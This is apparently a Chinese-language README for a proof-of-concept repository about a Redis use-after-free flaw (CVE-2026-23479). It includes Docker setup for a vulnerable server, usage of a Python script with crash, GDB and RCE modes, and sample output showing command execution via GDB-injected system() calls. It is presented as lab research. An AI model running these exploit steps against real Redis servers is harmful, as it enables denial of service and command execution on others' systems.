借助 GDB 辅助漏洞利用的概念验证(仅供教育/实验室使用)
Redis
unblockClientOnKey()中的释放后使用(UAF)漏洞,可导致远程代码执行
附带 GDB 辅助利用的概念验证(仅限教育/实验室用途)
CVE-2026-23479 是 Redis 7.2.0 至 8.6.2 版本中的一个严重释放后使用(UAF)漏洞。
该漏洞位于 unblockClientOnKey() 中,该函数调用了 processCommandAndResetClient(),但未检查其返回值。
如果在调用过程中客户端被释放(例如因淘汰机制),调用方将继续操作悬空指针 → UAF。
攻击者若能在释放后塑造堆内存布局,则可能实现任意代码执行。
本仓库提供了一个 GDB 辅助的 PoC,能够:
freeClient() 调用)证明 UAFsystem() 调用来演示任意命令执行⚠️ 重要提示: 这不是武器化的漏洞利用。它使用特权 Docker 容器内的 GDB 来模拟真实攻击者在成功利用 UAF 后可能达成的效果。
请仅在您自己的实验环境或已获得明确测试授权的系统上使用。
crash、gdb、rce、full--container 指定任意容器XREAD BLOCK 命令使客户端等待流数据。pid 1)。processCommandAndResetClient 上设置断点 – 该函数在阻塞客户端被重新处理时被调用。XADD 唤醒受害者。gdb 模式: 调用 freeClient($rdi) → 故意触发 SIGSEGV → 证明 UAF。rce 模式: 调用 system("your command") → 以 Redis 用户(默认为 root)身份执行任意 shell 命令。断点会在每次阻塞客户端被解除阻塞时触发,表明包含 UAF 的同一代码路径同样允许代码执行。
| 分支 | 受影响范围 |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 |
脚本会自动解析 Redis 版本并报告目标是否存在漏洞。
apt 的 Redis 8.6.2 Docker 镜像(例如官方 redis:8.6.2)--privileged 参数创建(ptrace 所需)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
注意: 所有命令均在宿主机上运行,而非在 Docker 容器内部。
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis 将在段错误后崩溃。
重启容器:
docker start redis-vuln-local
重启 Redis 以确保环境干净:
docker restart redis-vuln-local
运行漏洞利用脚本:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
验证证明文件:
docker exec redis-vuln-local ls -l /tmp/pwned
如果成功,该文件将存在,从而证明:
system("touch /tmp/pwned");
已在 Redis 容器内被执行。
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
如果 Redis 意外退出(容器不再运行),则很可能已触发 UAF。
使用以下命令重启:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
此模式将:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
原始 PoC 硬编码了名为 env-redis-vuln-1 的容器,并且在较新的 Python 版本下运行存在若干问题。
更新后的版本引入了以下改进:
docker stop redis-vuln-local
docker rm redis-vuln-local
本工具仅用于教育目的、经授权的安全研究,以及测试您自己拥有或已获得明确评估许可的系统。
作者不纵容或鼓励未经授权或恶意的使用。
在测试任何生产或第三方系统之前,请务必获得适当授权。
为安全社区倾心制作 ❤️
恪守道德。注意安全。
| 8.6.0 – 8.6.2 |
| 模式 | 描述 |
|---|
crash | 尝试通过内存压力触发 UAF(无需 GDB)。Redis 可能会崩溃,但不保证。 |
gdb | 附加 GDB 并在断点处调用 freeClient() → 强制触发 SIGSEGV(证明 UAF)。 |
rce | 附加 GDB 并在断点处调用 system(cmd) → 在容器内执行 shell 命令。 |
full | 先运行 crash;如果 Redis 未崩溃,则回退到 gdb。 |
| 参数 | 默认值 | 描述 |
|---|
target | (必填) | Redis 服务器的 IP 地址 |
-p, --port | 6379 | Redis 端口 |
-m, --mode | full | crash、gdb、rce、full 之一 |
--container | env-redis-vuln-1 | Docker 容器名称 |
--cmd | id > /tmp/pwned_by_cve | 在 rce 模式下执行的命令 |
| 问题 | 修复 |
|---|
| 硬编码的容器名称 | 新增 --container 参数,并在所有函数中传递使用。 |
file 命令位于 GDB 脚本的 commands 块内 | 将 file /usr/local/bin/redis-server 移动到 attach 之前,以便 GDB 正确加载符号。 |
subprocess.run() 同时使用 capture_output=True 和 stderr=... | 替换为 stdout=subprocess.DEVNULL 和 stderr=subprocess.DEVNULL。 |
过期的 GDB 进程导致 ptrace: Operation not permitted | 在 trigger_uaf_gdb() 和 trigger_rce() 中启动 GDB 前新增 pkill -9 gdb。 |
| GDB 静默失败时无任何反馈 | 新增 GDB 输出的调试日志,并改进了证明文件的检测。 |